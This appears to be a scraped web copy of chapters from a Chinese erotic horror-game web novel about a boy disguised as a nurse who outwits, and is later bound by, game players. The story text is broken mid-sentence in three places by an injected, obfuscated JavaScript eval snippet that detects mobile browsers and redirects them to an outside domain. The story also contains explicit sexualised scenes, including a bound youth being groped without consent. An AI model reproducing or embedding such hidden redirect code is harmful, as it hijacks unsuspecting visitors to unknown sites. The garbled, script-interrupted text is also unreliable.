他心里已经在哀嚎了。 以康驯那个脾气,这下肯定要发飙。 他掀起薄薄眼皮撩了康驯一眼,还没来得及看清他的脸色,就被对方强行握住了手腕。 青年声音狠戾:“快点,给我离开这儿。” 罗荔不敢再耽搁,连忙从最近的走廊拐出去,离开了门诊。 刚刚踏出拐角,周围那些暗红色的叫人不安的悬挂灯带顿时消失了,周围又再次被医院惨白的环境光所笼罩。 他们终于逃离鬼打墙了。 罗荔如释重负般松了口气,指缝里汗津津的,不知不觉已经惊出一身冷汗。 回头望去,康驯在他身后不远处,扶着墙面,额角渗出几颗冷汗。 青年焦躁地扯松了领口,露出一截麦色的、筋络分明的脖颈,耳根泛起一股不正常的红色,恶戾的狼眼挑起锐利的锋芒。 他不断抓着后背的某个地方,喉结上下滚动,喉咙里溢出几声闷哼。 罗荔疑惑地望着他,忽然意识到了什么。 他抓挠着的地方……是刚刚被自己用小皮鞭误伤过的位置。 正不知所措着,却见一个新的弹窗跳了出来。 【玩家:康驯】 【病症:受虐癖(40)】 【注意:该病症会使玩家产生被被粗鲁对待的冲动。对一般人来说的侮辱性举动,如辱骂、殴打、嘲笑、强迫羞辱等,将会使该玩家产生异常的性兴奋。】 【伴随着被侮辱的次数增多,该玩家的病重值也会随之增长】 罗荔蒙圈了。 这病症弹窗出现的太突然,他一点准备都没有。 还在发愣的间隙,康驯忽然一个跨步,上前将他逼近角落。 “药。” 青年犬齿紧咬,很不客气地向他伸出手,“把药给我。” 见罗荔漂亮湿润的杏眼茫然地眨了眨,他愈发不耐烦:“你不是已经给凌屿喂过药了么?现在,把药给我。” 那种能缓解玩家病症的药,现在的确还在罗荔身上藏着。 但是…… 007忽然开口:“提醒一下,得到药物也是玩家积分结算的统计点。” 也就是说,他作为boss,最好还是不要让玩家得到药物。 不过这个人刚刚还帮自己摆脱了傅时越。 罗荔有点于心不忍。 正犹豫不决着,康驯却倏地捏住了他的下巴。 “我真是看不懂你。” “在傅时越面前搞得好像很不情愿的样子,可是对那个凌屿,又主动得很。” “我只是找你讨个药都不行?” 青年唇瓣发干,舌尖抵着犬齿,焦躁地磨。 “他可是亲了你的嘴。” 灼热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723225|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吐息拂在罗荔的面颊上,他别扭地转过头去,而康驯又不依不挠地压下身子,逼近他。 “我可都看见了,你和那个医生干了什么事。” “我把你带出来,你是不是特别不情愿啊?” 喑哑的声音贴着罗荔的耳畔:“……我看你坐在他腿上的时候,腰摇得挺欢的啊。” 罗荔听清楚他在说什么,耳廓即刻染上浓郁的红。 果然,就不该对这家伙抱有什么怜悯! 那、那就别怪他了! 小护士的唇肉咬出浅浅的牙痕,攥紧粉拳。 “你……才不配让我喂药。” 他的心跳到了嗓子眼,声音细细的,却有种叫人心痒的蛮横。 “你又没有凌屿有钱,性格也没有傅时越好。最多,算,算一条野狗。” 罗荔不敢直视他,在心里慌张地编着措辞。 “要是想要吃药,你得……求我才行。” 康驯怔了一下,齿缝间溢出一声嗤笑:“求你?你简直——” “就是得求我!” 罗荔打断了他,鼓起勇气挺起小身板,“不仅要求,还要……还要学狗叫。” 这是他能想到最侮辱人的事情了。 不过,康驯真的会这么做吗? 感觉有点荒唐。 他心里很是没底。 一阵长久的死寂之后,康驯勾起一个冷笑。 “……行。我求你,给我药。” 唇瓣贴在罗荔耳根,轻轻吠了一声:“汪。” ……只是这样? 罗荔看着他那张盛满恶劣的面庞,好像根本没有受到病重值升高的影响。 他有点慌了。 难道是系统的判断出错了?或者是自己的方法有问题? 慌忙道:“不,不对。你这样还不像。嗯……你还得像狗狗一样,对我摇尾巴才可以。” 康驯眉眼间立即染上浓重的戾气。 “你别得寸进尺。” 外面传起一阵刺耳的警报声。 大逃杀结束了,看起来,是剩下的几名玩家赶到了这里。 通过余光,罗荔看到了来人,应该是凌屿他们。 几名玩家三三两两地结伴而行,正在往这个方向走来。 这是康驯得到药物的最后时机。 “你满意了?” 青年撑着墙面,声音极具威压感,“你是不是想让我当着他们的面,像狗一样对你摇尾巴?” 罗荔其实没这么大的胆子。 他刚想认怂拒绝,却见面前凶神恶煞的青年,缓缓蹲了下来。 就蹲在了在他脚边,犬齿咬得咯吱咯吱响。 ……随后,像狗一样,摆动起自己劲瘦有力的,肌肉块垒分明的腰肢。 似乎在摇动着那条看不见的尾巴。 罗荔呆滞在原地,事情发展完全超出了他的预料。 但是,他总不能在这时候让康驯站起来。 索性把戏做全套,故作满意道:“哼……尾巴摇快一点好不好,真没用。” 他偷偷觑着剩下几位玩家到来的方向。 这下,他们大概真的会看见这一幕…… 只不过,这么对待康驯,真的能让他的病重值升高吗? 外表上可是一点都看不出来。感觉他很不服的样子。 “会。” 007开口,声音冰冷,带着一点不易察觉的鄙夷。 “他现在爽死了。” 15. 015 “哒,哒,哒。” 几人的脚步声由远及近,眼看,已经来到了拐角处。 罗荔在这时候才感觉到紧张。 康驯现在做这种事,要是被别人看见了,他可解释不清楚。 他一向脸皮薄,此时此刻,耳廓不由得被一抹红意浸透。 嘴上还要故作大度:“行了行了,你,你起来吧。” 不留神瞄到康驯的病重值,已经快到70了。 都涨了这么多,要不然,还是见好就收吧…… 害怕康驯会因为迟迟得不到药而大发雷霆,罗荔赶紧掏出一粒药,递给他。 青年犬齿碾着唇瓣,还是没动作。 罗荔不明所以,难道他是不相信这是真药? “你没养过狗吗?”007的声音在耳边响起,“养狗的人家,都要训练狗,在没听到可以吃的指令之前,是不能吃的。” “而且,这是你给他的奖励。你得让他知道,奖励是来之不易的才行。” 007顿了一下,“你把药扔地上。” 这也太过分了。 罗荔可没有真的把康驯当狗,他也做不出来这么羞辱人的事。 而且莫名觉得,007教他这么做,隐隐掺了点私人恩怨的味道。 不对不对。罗荔在心里飞快打消了这个念头。 哪来的私人恩怨,他们彼此都不认识。 所以他只是颤着泛粉的指尖,有点怂怂的,把药片推到了康驯嘴边。 恰在此时,一个熟悉的声音传来。 “你们怎么在这儿?” 凌屿持着手电筒,一转身,光打在拐角墙面上。 罗荔吓了一跳,手腕一抖,药片掉在了地上。 随后赶来的安德烈和陆妍妍都登上了最后一级台阶,在凌屿手电筒的灯光下,看见了半跪在地上的康驯。 凶悍恶劣的桀骜杀手,绷起青筋的双手撑着地板,弯下腰来,匍匐在地。 干燥唇瓣张开一些,叼起地上的药片。 但他还是没有咽下去。 因为没有得到罗荔允许他吞咽的指令。 可是罗荔完全呆住了,早就把指令什么的都抛在了脑后。 陆妍妍惊叫一声:“康驯!你,你这是在做什么!” 伴随着她的惊呼,警报声再次响起,伴随着倒计时归零,大逃杀结束。 没来得及咽下的药片也瞬间化为乌有。 康驯到最后也没吃到。 凌屿眯起狭长双目,他已经隐约意识到康驯刚刚是在干什么。攥着手电筒的指骨暗暗收紧,出声讥讽:“果然是特立独行的杀手,办事风格还真是独树一帜。我们在那里找线索,你倒好,在这儿……给人当狗耍。” 康驯缓缓站起身来,他身高优越,垂下狼眼,俯视着罗荔的时候,威慑力压得人喘不过气来。 罗荔顿时怂了,什么任务都顾不上了,小声辩解:“我没,没有……” 他怯怯地瞄了康驯一眼,对方桀骜不驯的面孔上冷得能结出冰碴。 不知过了多久,康驯那冷刀似的目光终于从罗荔身上移开,转过身扫视众人,“线索?既然找到了线索,还在这里浪费时间?” 按照这个副本的流程,玩家收集线索之后,需要尽快核对。 陆妍妍小声道:“是,是啊。我们还是别在这儿耽搁太久了。” 凌屿又缓慢扫视了罗荔一眼,挑起眉峰。 “好啊。” “那就不浪费时间了。” 几人纷纷转身离去。罗荔脊背贴着冰冷墙面,感觉被长发遮盖的后颈渗出了一层薄薄冷汗。 他们对线索,自己这个装成NPC的boss当然不用掺和。 所以这是,被放过了吗? “我劝你最好别这么容易就松懈下来。” 众人走后,007开口,“他们这一次可是拿到了很关键的线索。你确定要放着他们不管?” 玩家们拿到越多的线索,就意味着罗荔越有可能露馅。 “那,我该怎么办呀?” 007默了片刻,“去偷听吧。他们现在马上就要到休息室了。” …… 空荡荡的休息室内,几个人并排坐下。 医院内各种陈设都十分老旧,因此休息室的大门虽然关上,但是隔音效果并不好。罗荔一路小跑赶来,蹑手蹑脚地在门口停下,正好听见里面有说话声传来。 透过门缝,可以瞧见里面坐着的几名玩家。 “我找到了一些有关阿伽门农院长的报道。” 说话的是一个金发碧眼的青年,罗荔是第一次见到他。 【玩家:安德烈】 【病症:暂未探明(20)】 好低的病重值! 安德烈看上去的确比其他玩家要正常的多,穿着橄榄绿的飞行夹克,一头半长金黄卷毛用发带束起,怎么看都是个嘴甜混得开的美国富家大学生。 他拿出来几张旧报纸,上面刊登着醒目的新闻。 第一张:退役少将阿伽门农于近日出席酒会,据称会在半年后接管旧军医医院。 第二张:阿伽门农院长收留战争孤儿,并表示会将其好好抚养长大。 “这座医院的院长阿伽门农,曾是一位颇有名望的军官,但是因为早年在战争中的冷酷行径,一直饱受社会争议。” 报纸上这么写着:“但在收留敌国孤儿Lori之后,他的名声有了极大改善,弥赛亚医院也因此改焕生机。” 看完这几张以后,安德烈放下最后一张报纸,上面的内容触目惊心。 “惊天丑闻!阿伽门农被爆与养子存在不正当关系,‘善人善举’的背后,竟暗藏虎狼之心!” 陆妍妍仔细看完这些报道,还是一头雾水。 通过这些信息,她只能推断出很零碎的内容。比如阿伽门农是退役军官,收养了一名战争遗孤做养子,后来又和这位养子发生了丑闻。 至于这养子的身份,就不清楚了。 紧接着,凌屿将自己找到的照片拿了出来。 那是半张老旧的照片,上面是一名冷峻英挺的军官。 旁边还有一个人,准确的说,那个人是坐在了他的怀里。 一名身材娇小的少年被男人抱在膝盖上,可通过他搭在男人肩膀上收紧的手指也能看出,二人此刻正在激吻。 那位军官很显然就是阿伽门农院长。只不过,因为照片只有一半,能看得见少年容颜的那一半被撕去了,谁也不知道他怀里的男孩究竟是谁。 照片上的男人完全没了人前的冷峻稳重,死死把少年搂入怀中,手指按紧他的脖颈,不要命地亲。 少年柔软白皙的双腿大敞,膝盖夹着男人的腰,足尖点不到地面,整个人都要化成一滩春水的模样。 看不见脸,但就这样娇小柔软的体型来说,都让他们想到了同一个人。 那个奇怪的小护士罗荔。 只不过,罗荔一直是以女孩子的形象出现,但无论是照片还是报道,都明确表明阿伽门农的养子是个男孩。 凌屿说:“还记得安德烈在罗荔那里找到的情.趣内衣么?那上面的金色刺绣,就是阿伽门农院长的名字。” 结合他们进入游戏前已经了解到的背景故事,养子本身对院长就有着畸形的爱,以至于不惜男扮女装勾引院长。 如果将这些片段串联起来,不难推理出一种可能:罗荔就是Lori,他是男扮女装,是因为爱而不得所以囚.禁了养父的那个养子。 陆妍妍头皮一阵发麻。 要真是这样,也太恶心了。 这个心理畸形的养子,甚至还把父亲的名字缝在了自己的内裤上…… 是出于什么变态心理? 她身体有些发抖,大着胆子说:“这么说的话,会不会,他是故意的啊?勾引了院长,引诱他强吻自己,还故意让人拍下照片,好让院长身败名裂……” 她的语气也不很确定。 毕竟那个小护士水杏眼,黑长直,笑容有些羞怯,完全是一副温柔乖巧的好学生模样。 谁能相信,他会在媒体的镜头下,和男人吻得那么情.色。 可是,军人最在乎自己的名誉,更何况是阿伽门农这种级别的军官。 他真的有那么莽撞,以至于宁愿什么都不顾了,也要在众目睽睽之下做出这种事? 安德烈皱起眉头:“现在下定论是不是还太早了,我觉得那个护士妹妹不像是这种人。” “不是吗?” 凌屿捏着那张照片,细细凝望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723226|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着照片上坐在军官膝头的少年,意味不明地勾了下唇角。 “……腿张这么开,怎么看,也不像是不情愿的。” ……罗荔在外面,心已经提到了嗓子眼儿。 众人距离看穿他的真实身份只有几步之遥,感觉一切都要完蛋了。 这下该怎么办? 就在这时,又听见安德烈说:“现在还差一个关键线索。康,你有什么发现吗?” 副本内的线索环环相扣,需要众人合力解开真相。现在如果还剩下一个决定性的线索,就只能是在康驯手里了。 关键就在于,被撕去的那另外半张照片。 “我找到了一本病历。”康驯说,“不过回来的时候出了点意外,病历落在外面了。你们要是不着急,我可以回去取。” 他都这么说了,也只能让他回去取。 康驯站起身来,拉开休息室的大门。没走几步,就在拐角处,发现了偷听的小护士。 罗荔知道被发现,但是他没有逃。 他不能让康驯取回关键线索。 必须……阻止他才行。 “你,你不许去。” 罗荔鼓起全部的勇气把他拦下。康驯的目光斜睨过来,看见他之后,停下脚步。 依旧是一身凌厉逼人的戾气,一步步走近他。 罗荔本来还想端起之前的架子,使出一点气势来命令他。但是一抬头就看见康驯脖颈上凸起的筋络,宽阔双肩展平,鼓起的肌肉收紧,满脸恶劣不耐烦。 半点也看不出来是个患有受虐癖的病人,更不像是会对罗荔言听计从的模样。 自己要是再像之前一样对他,和找死有什么区别。 康驯弯下腰,目不转睛地盯着他:“你是在命令我吗?” 罗荔泛红的唇肉紧抿,卷翘睫毛一簇一簇地乱颤,不敢吭声。 “之前你没有给药,以为我还会听你的话么?” 养狗的人都知道,想教狗做事,必须给奖励。 但那片药他没能吃到,所以,罗荔想当主人,是不称职的。 罗荔立刻反驳:“我给你了,是你自己不咽的!” 他忘了一件事,和狗讲道理是讲不通的。它们只认到嘴的奖励。 康驯不依不挠,手指扯了一下领口,“我没时间和你掰扯。你如果不想让我把病历本拿回来,就补给我奖励。” 舌尖舔舐了一下唇角,“要不然,就别想让我听话了。” 罗荔的指尖不自主地绞紧,手指不断绕着垂在腰间的一缕长发。因为羞愤,粉白的耳垂都被红色浸透,粉嫩鼻尖不自主地耸动着,一副被欺负得想哭的样子。 “你,你想要什么……奖励。” 康驯打量四周,看到不远处有间腾空出来的废弃病房。 “跟我过来。” 推开病房大门,罗荔刚走进去,大门便被康驯在背后死死关上。 里面一片漆黑,开关按下,只有一盏灯能打开。 惨白的灯光勾勒出青年健硕的体型,他拉来一张椅子坐下,浓黑的狼眼低低挑起锋利弧度。 罗荔一瞬间想到了很多种糟糕的后果,在这里的话,谁也不会知道康驯对他做了什么…… 青年忽然开口:“鞋脱了,踩我。” 罗荔:……? 康驯双手交叉,眼底透出一丝猩红的光。 他头顶的病重值,再一次开始疯狂飙升。 饥饿的目光里透着浓浓的渴求,一点一点,将小护士白色丝袜下的两条美腿包裹。 “踩人,你不会吗?”康驯一字一顿,“踩我的脚,腿,或者脸——哪里都行。趁现在还有时间,你最好快一点。” 罗荔足踝一颤,险些要站不稳。 不知做了多大的心理斗争,他终于缓缓弯下腰,解开了小皮鞋的搭扣。 忍着羞耻,将小腿抬起一些,试探着,踩在了康驯的靴尖上。 青年穿着沉重的皮革马丁靴,表面做旧,缀满钝头的铆钉和复杂的搭扣。 靴子足足比罗荔的小脚丫大了两圈,棕黑粗糙的皮革上,是雪白干净的白丝袜。 强烈的颜色冲击撞进视野,康驯的呼吸顿时停滞。 “用力。”他用干哑的声音说,“怎么踹狗,就怎么踹我。” 16. 016 绷紧的足尖缓慢凑近,线条流畅的脚背隐隐颤抖,为难又犹豫地,抵在了康驯的小腿处。 青年目不转睛地盯着那薄薄的白丝袜,隐约能透过布料,看见小护士粉色的透亮指甲。 罗荔身材娇小,但是比例很好,离这么近,视野中仿佛就剩下了那一双修长笔直的,大腿根曲线有些肉鼓鼓的美腿。 足尖顺着康驯的小腿向上,软绵绵地轻踢了一下他的膝弯。 然后又飞快地把腿放了下去。 “好,好了。这样行了吧。” 康驯眉头紧锁。 他说:“你走过来点。” 罗荔不明所以地迈了一步,结果却被他一下子握住了脚踝。 康驯扶着他的细腰,让他能够站稳。随后,引导着他,将他的小脚丫放在了自己的膝盖上。 粉色的包臀裙本来就短,现在还把腿抬这么高,都快走光了。罗荔倍感羞耻,只能卷着裙角,把裙子往下扯了扯。 青年常年健身训练,一身腱子肉。大腿更是尤为结实,此刻肌肉紧绷,支撑着罗荔的足底。 罗荔尝试用力,踹了一下康驯的大腿肌肉。 “就这样么?”康驯舒爽地低哼,“继续。” 他、他怎么好像被踹得很爽的样子! 罗荔攥紧小拳头,康驯爽了,他可不爽。 足心踩在青年的大腿上,越想越觉得不行。 他怎么能被一条蠢狗牵着鼻子走。 “继续……什么继续。”罗荔大着胆子道,“你现在回去,告诉那些人病历本不见了,我再考虑考虑,要不要继续。” 康驯黑漆漆的眸子睁开一线,盯着罗荔饱满殷红的唇肉,笑了一下。 然后拉开夹克拉链,从里面掏出了病历本。 “这个,我做不到。” “病历本一直都在我身上。” 罗荔倏地瞪大了美眸。 这这这家伙居然耍花招!好卑鄙! “给我!” 罗荔凶巴巴地鼓起雪腮,把小手一伸,“这是命令!” “刚刚你给我奖励,要我做的事是不去取病历本,我做到了。如果把病历本给你是新的命令,就得给新的奖励。” 这条狗真的很狡诈,他当然不用去取,因为病历本他就没丢下过。 小气鬼!斤斤计较!得寸进尺! 罗荔绷紧唇线愤愤瞪着他,随后,上前一步。 弯起小巧膝盖,抬起腿来,屈膝在青年的裆部狠狠一撞! 康驯闷哼一声,竟然伸出双臂,将他抱进了怀里。 犬齿碾着唇瓣,大腿夹住小护士的膝盖。 灼热的呼吸烧着罗荔嫩粉色的耳垂,那条看不见的狗尾巴,仿佛又再一次摇成了螺旋桨。 潮湿滚烫的舌探出一截,舔在了那软乎乎的雪粉腮肉上。 “这么狠,你要给我绝育啊?” 罗荔嫌弃地别开脸蛋,趁机把病历本夺了过来。 “滚开!” 外面传来一阵脚步声,似乎其他几个玩家找来了。 罗荔想,反正病历本已经到手,还是不要管康驯了,早点溜掉比较好。 正要转身离去,病历本的内层中,有什么东西掉了出来。 康驯弯下腰,将那东西捡了起来。 ……是那另外半张照片。 被撕去的,和阿伽门农拥吻的少年,清晰地出现在这张照片上。 那张脸,分明就是罗荔。 在小护士难以置信的目光下,康驯拿着照片,走了出去。 “你们要的照片,就在我这儿。” …… 漆黑的病房内,开了一盏昏暗的床头灯。 凌屿站在一旁,看安德烈收拢绳索,从少年的胁下穿过,反锁到背后捆紧。 罗荔鼻尖通红,一直在哭。 他在心里懊悔不已,自己怎么能这么傻,完全被误导了。 那个病历本根本就不重要,重要的是里面夹的照片。 现在铁证如山,照片上的养子就是自己,想狡辩也不可能了。 耳边也响起令人绝望的提示音。 【宿主作为养子Lori的身份已被揭穿】 【当前身份探索进度:60%】 安德烈从来没捆过这么难办的“俘虏”,身体小小的,力气虽然不大,但是娇气得要命,哪里也碰不得。 他终于忍不住说:“甜心,你别乱动。” 罗荔眼圈通红,低低地抽泣着。 他哭起来的样子也乖甜得不行,唇瓣敞开一条粘湿的弧度,透润的眼珠汪了水儿,半张小脸都是水蒙蒙的雾气。 被捆在椅子上,双足悬空,触不到地面,只能愤怒地晃。 “好了。” 安德烈捆好绳子,叹了口气,转向凌屿,“非得这么做么?我看他不像是会害人的样子。” 凌屿说:“我们接下来的任务很重要,你难道希望他出来添乱?” 他说的也有道理,安德烈耸耸肩,抚摸起罗荔乱翘的发尾。 大男生真挚又和善,还把自己的外套脱下来披到他的肩上。 “那就只能委屈你先在这里等一会儿了。你乖乖的,等到我们顺利回来,就放你走。” 可罗荔并不领情,小牙咬住外套领口泄愤,把布料啃得湿淋淋的。 ……是个挺有脾气的甜心啊。 安德烈攥住绳子一头,轻轻扯了一下。 束在小漂亮腰间的绳子又收紧了些,罗荔下意识低呜一声:大腿被磨痛了。 他委屈巴巴地抬起眸子,仿佛看见安德烈蔚蓝的眼睛暗了一下,很快又恢复正常。 一转眼,远远看见康驯倚着墙根站着。 想到自己现在这样都是这家伙害的,罗荔气不打一处来。 抿着舌尖,自以为很恶毒地骂了一句。 “臭狗。” “什么?”康驯舔了下齿尖,“我没听清。” 罗荔正要再骂一遍,凌屿却挡在了他面前。 嗤了一声,“你到底要奖励他几次?” 这天真的小护士看不出来,但他可不一样。 刚刚康驯从病房走出时,那么兴奋的样子,狗舌头都快吐出来了。 肯定是被罗荔狠狠奖励过。 居然还不知足,还想要。 这种贱狗,会从忤逆主人的过程中获得快.感。 凌屿可不会允许这种事再次发生。 “如果你生气,可以骂我泄愤。” 康驯的脸色立马黑了一个八度。 猛地把屋门推开,强行将所有人带走。 “要做任务就快做!” ……罗荔只能骂他一个。 其他人,谁也别想! …… 罗荔一个人被关在了小黑屋里。 陆妍妍留下来看守,此刻就在门外,他想逃也没地方逃。 身上的绳子捆的并不紧,但还是磨得他皮肤痛痛的。 罗荔很丧气地在心里低语:“小七,我要是再聪明一点就好了。” “不怪你。”007这回居然没有毒舌,“线索收集到位,他们肯定会发现的。” “但是,被那么多人看穿,好丢脸。” 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723227|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到康驯,继续生闷气,“他们肯定觉得,我一个男生打扮成这样很恶心。” “这样其实也好。至少没有强行检查。有的副本里,养子这个boss的处境可比你惨得多。” 实际上,罗荔还算是幸运的。在那些毫无底线的玩家团体中,把小养子逼到厕所里“检查”,或者是威胁他当众脱衣的,比比皆是。 至于男扮女装恶不恶心…… 罗荔大概纯粹想多了。 “他们现在去干什么了?” “玩家将前往大厅,击杀高阶boss‘瓦多’。击杀成功后,会获得大量线索,以及通往顶楼院长住所的钥匙。” 随着007的声音,罗荔面前也弹出新的任务。 【任务四:赶在玩家前面找到瓦多,先一步获取钥匙】 有任务了,但是…… 他根本出不去呀! “小七,能不能用积分换个道具?比如小刀什么的……把这个绳子划开。” 说完他自己又否决,“不行,这里这么暗,我要是划错了就完蛋了。” 要是那盏灯能拧亮一点就好了…… 罗荔努力往灯前凑,抬起一点点手臂,去摸台灯。 碰到了! “啪”的一声,灯彻底关灭了。 罗荔:……TVT 还能再倒霉一点吗?! 周围陷入完全的黑暗,安静得只能听见门外的脚步声。 由远及近,一步步的,往这边靠近。 然后听见陆妍妍的声音:“您真的不能进去!现在不行!” 【玩家当前身份为“护士”,请遵守护士准则,不得违抗医生命令,否则可能失去身份】 可恶! 面前的医生来意古怪。第六感告诉陆妍妍不对劲,但是不论怎么解释,这个男人好像都没有继续听下去的意思。 而一转眼间,自己腰间的钥匙就到了他的手中。 “你、你为什么……” 口中的质疑还未说完,只觉一阵天旋地转,陆妍妍晕了过去。 推开门,里面黑成一片。医生打开手电筒,往角落里那张椅子走去。 光线照到地上的足印,还有没用完的半捆麻绳,他还是来晚了一步。 那些人会逼问吗?还是已经逼问过了? 如果他们敢对荔荔动手…… 医生手指顿时收紧,几乎要将手电筒捏碎。 “呜……是、是谁……” 听见了很低的呼吸声,试探着询问。 手电筒打过去,照见两条悬空的笔直小腿,鞋跟踩着椅子腿,肉眼可见地颤抖。 再往上,则是一件宽大的橄榄绿夹克,把上身都笼罩起来。 随着光线上移,那张哭花了的脸蛋也出现在视野。 睫毛黏连几缕,翘的弧度凌乱。发丝潮湿的搭在额前,似乎是受了惊吓,脸颊有些苍白。 他颤声说:“救救我……” 罗荔看不清眼前人的模样,只是凭本能求救。 那人捉住他身上的外套,拽了下来。 男人的呼吸陡然一滞。 只见外套下,少年的身体被麻绳捆着。绳子从腰间和大腿下穿过,固定在椅子上,将他的双臂反锁。 大概是因为他挣扎过,护士服的裙子被卷上去大半,原本缠在大腿上的绳子,已经勒进了大腿根的深处。 裙边凌乱地翻卷着,折起的一角下,已经隐隐能看见一点白色。 纯白的,棉质亲肤的,像单纯高中女生才会穿的那种。 此时此刻,毫无防备的,暴露在手电筒的灯光下。 17.017 罗荔终于等到解救自己的人,把所有希望都寄托在他身上,焦急道:“你能不能帮我解开绳子?我、我手上被人打了结,我动不了了。” 对方迟迟没有动作,罗荔快要急哭了。 他将小胸脯挺了挺,露出那枚胸牌给他看:“你看,我有胸牌,我是护士,不是坏人!” 那男人的身体好像明显僵直了一下,随后,缓缓蹲下身体。 光亮照在他的脸上,他摘下了口罩。 再次看到那张邪性阴郁面孔,罗荔的心都凉了。 “……傅时越?” 好死不死,偏偏是他! 罗荔欲哭无泪。早知道这样,不该在刚刚怀疑还能不能更倒霉的。 听见自己的名字,傅时越的眼睛明显亮了亮,好像仅仅是被记住名字就足够高兴似的。 他蹲下来以后仍然是极骇人的体型,把手放在他大腿上缠着的绳子边缘,往外拉了拉。 罗荔的嗓子顿时软下来:“别拽,痛……” 他见傅时越扯着自己身上的绳子,心中又腾起一点希望。 万一他愿意给自己松绑呢? 但是…… 傅时越只是蹲在椅子前,仰着头,直勾勾地盯着他看。 罗荔本来不知道他在看什么,只觉得从男人的眼里透出痴迷的神色。于此同时,他越贴越近,原本是半蹲着,现在几乎要跪下了。 他还处在懵懂迷茫中,傅时越突然抬手,捏住了他的裙角,慢慢往上推。 罗荔这才意识到不对,“你干嘛!不许动我的裙子!” “裙子和绳子缠在一起了,乖,马上就帮你解开。” 确实缠在一起了,他也没说谎。罗荔不太高兴,但也没办法:“那你快一点。” 随着绳子往外抽出半截,傅时越看见了那个拧在一起的绳结,解开那个结,应该就能把罗荔救出来了。 但是很不巧,那绳结被少年压在了屁股底下,傅时越举着手电筒:“荔荔,能坐起来一点么?底下看不见。” 罗荔不耐烦道:“我一点也动不了嘛。” 那就没办法了。只能用手电筒照着解开。 傅时越说:“荔荔,把腿分开些。” 罗荔愣了下,脸蛋一下子红了:“你干什么!” “腿夹太紧了,我没法给你解绳子。”傅时越解释,“很快就好,忍一下,好么?” 罗荔不情不愿的,做了好半天的心理建设,垂着睫毛,在他的目光下,慢慢敞开大腿。 其实只吝啬地敞开了一点点,毕竟他也没法做大动作。但是在裙子卷上去以后,只这一点点,也足够羞耻。 他一低头,都要看见自己的内裤边边了。 傅时越把手电筒叼在嘴里 ,打着光线,捏住那个绳结。 少年坐在椅子上,嫩白的大腿肉鼓鼓的,能看见纯白布料凹陷下的两道弧度,勒在肤肉里,满眼都是晕染开来的粉。 那粉色从深处沁出来,被布料遮住,只能看见一点边缘痕迹。 光照上去,穿透薄薄布料,映出漂亮柔软的轮廓。 罗荔清晰地听见“咕咚”一声。 傅时越在咽口水。 虽然傅时越没有伤害过他,但这个人给他的感觉比boss还像boss,会追着他杀的那种。 而他现在却在咽口水。喉结上下滚动,脖颈上青筋暴起,跪在地上,眸光越来越热。 搞什么呀…… 罗荔的耳尖也有点发烫:“你快一点好不好!” 傅时越点点头,将绳结拽开。 他的手背贴紧少年那一小块肌肤 ,能感受到棉质布料后传来的温热体温。 只是这样都这么热了,那里面,岂不是更烫。 控制不住联想的发散,手上动作一顿,在绳结解开的刹那,将手翻转过来。 掌心拢出弧度,轻轻一捏。 罗荔:“……!” 身上的绳子陡然松了,他立刻挣脱出来,跳下椅子,把台灯打开。 红着脸扯平自己的裙摆,再抬头,傅时越也把叼着的手电筒落了下来。 男人薄唇轻抿,他好像还在回味着什么,呼吸粗重,焦渴地吞咽着。 罗荔越来越觉得不对劲,摆摆手就要离开。 傅时越站在原地,尽量维持冷静:“荔荔,我都帮了你,你是不是也该帮帮我?” 罗荔还很天真:“帮什么?” 他思忖了一下,恍然大悟似的,“你是不是也要找瓦多呀?” 这家伙也是玩家,应该也有这个任务。 嗯,毕竟自己要赶在他们前面找到瓦多,要是能利用好傅时越,既不用害怕怪物,也不用害怕康驯他们捷足先登了……嘻嘻,那不是一举两得嘛? 傅时越险些将真话脱口而出,最后还是忍住:“嗯。你陪我一起去么?” 罗荔求之不得:“好吧!那就勉为其难地帮帮你好了。” 他推开房门,走出去的时候,看见陆妍妍还晕倒在地上。 犹豫了一下,还是把她扶起来,放到一边的座位上了。 虽然她有诋毁自己,但那也是玩家的任务,罗荔还是清楚这个道理的。 回头,像招呼小狗一样,向傅时越招了招手。 “走吧!” …… 医院的“大厅”是一张诡异的地图场景,外围迷宫密布,只有走出迷宫,才能抵达真正的大厅。 跟随傅时越显然是个正确的选择,只有玩家携带的任务指引才能穿越迷宫,要是只靠罗荔自己的脑袋瓜,完全可以收拾收拾在迷宫里安家了。 傅时越不袒露花臂的时候,白大褂笔挺整洁,看上去还挺正经的。 当然,罗荔清楚,只是看上去而已。 “那个……瓦多,到底是什么东西呀。” 他有点生硬地开口套取情报,傅时越停下脚步,让他看一张墙上的海报。 “本世纪最卓越的科学成果!有望治愈医疗未解难题,消除人类绝症!” 鲜红的标题下,又是一系列的报道。 